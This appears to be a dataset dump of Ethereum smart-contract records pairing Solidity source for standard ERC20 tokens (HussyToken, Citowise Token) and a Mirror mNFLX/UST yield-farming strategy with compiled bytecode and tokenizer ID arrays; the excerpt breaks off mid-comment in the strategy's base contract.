pragma solidity ^0.4.24; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract HussyToken is StandardToken { string public name = "HUSSY"; string public symbol = "HUS"; uint public decimals = 18; uint public INITIAL_SUPPLY = 100000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e657806366188463146101fb57806370a082311461021f57806395d89b4114610240578063a9059cbb14610255578063d73dd62314610279578063dd62ed3e1461029d575b600080fd5b3480156100ca57600080fd5b506100d36102c4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610352565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103b8565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103be565b3480156101dd57600080fd5b50610195610535565b3480156101f257600080fd5b5061019561053b565b34801561020757600080fd5b5061016c600160a060020a0360043516602435610541565b34801561022b57600080fd5b50610195600160a060020a0360043516610631565b34801561024c57600080fd5b506100d361064c565b34801561026157600080fd5b5061016c600160a060020a03600435166024356106a7565b34801561028557600080fd5b5061016c600160a060020a0360043516602435610788565b3480156102a957600080fd5b50610195600160a060020a0360043581169060243516610821565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561034a5780601f1061031f5761010080835404028352916020019161034a565b820191906000526020600020905b81548152906001019060200180831161032d57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156103d557600080fd5b600160a060020a0384166000908152602081905260409020548211156103fa57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561042a57600080fd5b600160a060020a038416600090815260208190526040902054610453908363ffffffff61084c16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610488908363ffffffff61085e16565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546104ca908363ffffffff61084c16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b60055481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561059657336000908152600260209081526040808320600160a060020a03881684529091528120556105cb565b6105a6818463ffffffff61084c16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561034a5780601f1061031f5761010080835404028352916020019161034a565b6000600160a060020a03831615156106be57600080fd5b336000908152602081905260409020548211156106da57600080fd5b336000908152602081905260409020546106fa908363ffffffff61084c16565b3360009081526020819052604080822092909255600160a060020a0385168152205461072c908363ffffffff61085e16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107bc908363ffffffff61085e16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561085857fe5b50900390565b8181018281101561086b57fe5b929150505600a165627a7a72305820a99300c12d9e2187b1220c936b524318bb6e1c4bf38bcf9094f4a99cd5208e7f0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 18139, 2581, 2475, 2098, 2278, 2575, 2063, 2620, 2475, 2546, 2575, 2050, 28311, 22932, 26095, 2497, 2094, 16068, 16147, 2278, 2581, 6305, 11387, 2683, 2497, 2683, 2487, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 11618, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,756
0x9748737627cce952ccdf03b399b2de724a12ab4f
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; uint256 private totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param _account The account that will receive the created tokens. * @param _amount The amount that will be created. */ function _mint(address _account, uint256 _amount) internal { require(_account != 0); totalSupply_ = totalSupply_.add(_amount); balances[_account] = balances[_account].add(_amount); emit Transfer(address(0), _account, _amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burn(address _account, uint256 _amount) internal { require(_account != 0); require(_amount <= balances[_account]); totalSupply_ = totalSupply_.sub(_amount); balances[_account] = balances[_account].sub(_amount); emit Transfer(_account, address(0), _amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal _burn function. * @param _account The account whose tokens will be burnt. * @param _amount The amount that will be burnt. */ function _burnFrom(address _account, uint256 _amount) internal { require(_amount <= allowed[_account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount); _burn(_account, _amount); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { _mint(_to, _amount); emit Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply().add(_amount) <= cap); return super.mint(_to, _amount); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken, Ownable { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. Allowed only for contract owner. * @param _value The amount of token to be burned. */ function burn(address _who, uint256 _value) public onlyOwner() { _burn(_who, _value); } /** * @dev Overrides StandardToken._burn in order for burn and burnFrom to emit * an additional Burn event. */ function _burn(address _who, uint256 _value) internal { super._burn(_who, _value); emit Burn(_who, _value); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract CitowiseToken is StandardToken, Ownable, MintableToken, BurnableToken, CappedToken { string public name; string public symbol; uint8 public decimals; constructor() public CappedToken(500000000) { name = "Citowise Token"; symbol = "CTW"; decimals = 18; } function burn(address _who, uint256 _value) public onlyOwner() canMint() { _burn(_who, _value); } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010b57806306fdde0314610134578063095ea7b3146101be57806318160ddd146101e257806323b872dd14610209578063313ce56714610233578063355274ea1461025e57806340c10f1914610273578063661884631461029757806370a08231146102bb578063715018a6146102dc5780637d64bcb4146102f35780638da5cb5b1461030857806395d89b41146103395780639dc29fac1461034e578063a9059cbb14610372578063d73dd62314610396578063dd62ed3e146103ba578063f2fde38b146103e1575b600080fd5b34801561011757600080fd5b50610120610402565b604080519115158252519081900360200190f35b34801561014057600080fd5b50610149610412565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018357818101518382015260200161016b565b50505050905090810190601f1680156101b05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ca57600080fd5b50610120600160a060020a03600435166024356104a0565b3480156101ee57600080fd5b506101f7610506565b60408051918252519081900360200190f35b34801561021557600080fd5b50610120600160a060020a036004358116906024351660443561050c565b34801561023f57600080fd5b5061024861066f565b6040805160ff9092168252519081900360200190f35b34801561026a57600080fd5b506101f7610678565b34801561027f57600080fd5b50610120600160a060020a036004351660243561067e565b3480156102a357600080fd5b50610120600160a060020a03600435166024356106b7565b3480156102c757600080fd5b506101f7600160a060020a03600435166107a6565b3480156102e857600080fd5b506102f16107c1565b005b3480156102ff57600080fd5b5061012061082f565b34801561031457600080fd5b5061031d6108b3565b60408051600160a060020a039092168252519081900360200190f35b34801561034557600080fd5b506101496108c2565b34801561035a57600080fd5b506102f1600160a060020a036004351660243561091d565b34801561037e57600080fd5b50610120600160a060020a0360043516602435610959565b3480156103a257600080fd5b50610120600160a060020a0360043516602435610a26565b3480156103c657600080fd5b506101f7600160a060020a0360043581169060243516610abf565b3480156103ed57600080fd5b506102f1600160a060020a0360043516610aea565b60035460a060020a900460ff1681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60025490565b600160a060020a03831660009081526020819052604081205482111561053157600080fd5b600160a060020a038416600090815260016020908152604080832033845290915290205482111561056157600080fd5b600160a060020a038316151561057657600080fd5b600160a060020a03841660009081526020819052604090205461059f908363ffffffff610b0d16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105d4908363ffffffff610b2416565b600160a060020a03808516600090815260208181526040808320949094559187168152600182528281203382529091522054610616908363ffffffff610b0d16565b600160a060020a0380861660008181526001602090815260408083203384528252918290209490945580518681529051928716939192600080516020610dd9833981519152929181900390910190a35060019392505050565b60075460ff1681565b60045481565b600060045461069b8361068f610506565b9063ffffffff610b2416565b11156106a657600080fd5b6106b08383610b36565b9392505050565b336000908152600160209081526040808320600160a060020a038616845290915281205480831061070b57336000908152600160209081526040808320600160a060020a0388168452909152812055610740565b61071b818463ffffffff610b0d16565b336000908152600160209081526040808320600160a060020a03891684529091529020555b336000818152600160209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146107d857600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a0316331461084957600080fd5b60035460a060020a900460ff161561086057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104985780601f1061046d57610100808354040283529160200191610498565b600354600160a060020a0316331461093457600080fd5b60035460a060020a900460ff161561094b57600080fd5b6109558282610bb9565b5050565b3360009081526020819052604081205482111561097557600080fd5b600160a060020a038316151561098a57600080fd5b336000908152602081905260409020546109aa908363ffffffff610b0d16565b3360009081526020819052604080822092909255600160a060020a038516815220546109dc908363ffffffff610b2416565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610dd98339815191529281900390910190a350600192915050565b336000908152600160209081526040808320600160a060020a0386168452909152812054610a5a908363ffffffff610b2416565b336000818152600160209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260016020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b0157600080fd5b610b0a81610c06565b50565b60008083831115610b1d57600080fd5b5050900390565b6000828201838110156106b057600080fd5b600354600090600160a060020a03163314610b5057600080fd5b60035460a060020a900460ff1615610b6757600080fd5b610b718383610c84565b604080518381529051600160a060020a038516917f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885919081900360200190a250600192915050565b610bc38282610d1c565b604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600160a060020a0381161515610c1b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610c9957600080fd5b600254610cac908263ffffffff610b2416565b600255600160a060020a038216600090815260208190526040902054610cd8908263ffffffff610b2416565b600160a060020a038316600081815260208181526040808320949094558351858152935192939192600080516020610dd98339815191529281900390910190a35050565b600160a060020a0382161515610d3157600080fd5b600160a060020a038216600090815260208190526040902054811115610d5657600080fd5b600254610d69908263ffffffff610b0d16565b600255600160a060020a038216600090815260208190526040902054610d95908263ffffffff610b0d16565b600160a060020a03831660008181526020818152604080832094909455835185815293519193600080516020610dd9833981519152929081900390910190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c7f529247b3d17c1c93792c46d473dfc7d60c947bb4e165a0f3faf35bdce05730029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 18139, 2581, 24434, 2575, 22907, 9468, 2063, 2683, 25746, 9468, 20952, 2692, 2509, 2497, 23499, 2683, 2497, 2475, 3207, 2581, 18827, 27717, 2475, 7875, 2549, 2546, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 7065, 8743, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 4800, 24759, 3111, 2048, 3616, 1010, 7065, 8743, 2015, 2006, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1035, 1037, 1010, 21318, 3372, 17788, 2575, 1035, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,757
0x97487C1F352a8076A738fbDcd316A10F01046567
pragma solidity 0.5.16; import "../../base/snx-base/interfaces/SNXRewardInterface.sol"; import "../../base/snx-base/SNXReward2FarmStrategyUL.sol"; contract MirrorMainnet_mNFLX_UST is SNXReward2FarmStrategyUL { address public ust = address(0xa47c8bf37f92aBed4A126BDA807A7b7498661acD); address public mnflx_ust = address(0xC99A74145682C4b4A6e9fa55d559eb49A6884F75); address public mnflx = address(0xC8d674114bac90148d11D3C1d33C61835a0F9DCD); address public mir = address(0x09a3EcAFa817268f77BE1283176B946C4ff2E608); address public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address public mNFLXUSTRewardPool = address(0x29cF719d134c1C18daB61C2F4c0529C4895eCF44); address public constant universalLiquidatorRegistry = address(0x7882172921E99d590E097cD600554339fBDBc480); address public constant farm = address(0xa0246c9032bC3A600820415aE600c6388619A14D); constructor( address _storage, address _vault, address _distributionPool ) SNXReward2FarmStrategyUL(_storage, mnflx_ust, _vault, mNFLXUSTRewardPool, mir, universalLiquidatorRegistry, farm, _distributionPool) public { require(IVault(_vault).underlying() == mnflx_ust, "Underlying mismatch"); liquidationPath = [mir, farm]; liquidationDexes.push(bytes32(uint256(keccak256("uni")))); } } pragma solidity 0.5.16; interface SNXRewardInterface { function withdraw(uint) external; function getReward() external; function stake(uint) external; function balanceOf(address) external view returns (uint256); function earned(address account) external view returns (uint256); function exit() external; } pragma solidity 0.5.16; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../StrategyBaseUL.sol"; import "../interface/IVault.sol"; import "../interface/IRewardDistributionSwitcher.sol"; import "../interface/INoMintRewardPool.sol"; import "./interfaces/SNXRewardInterface.sol"; /* * This is a general strategy for yields that are based on the synthetix reward contract * for example, yam, spaghetti, ham, shrimp. * * One strategy is deployed for one underlying asset, but the design of the contract * should allow it to switch between different reward 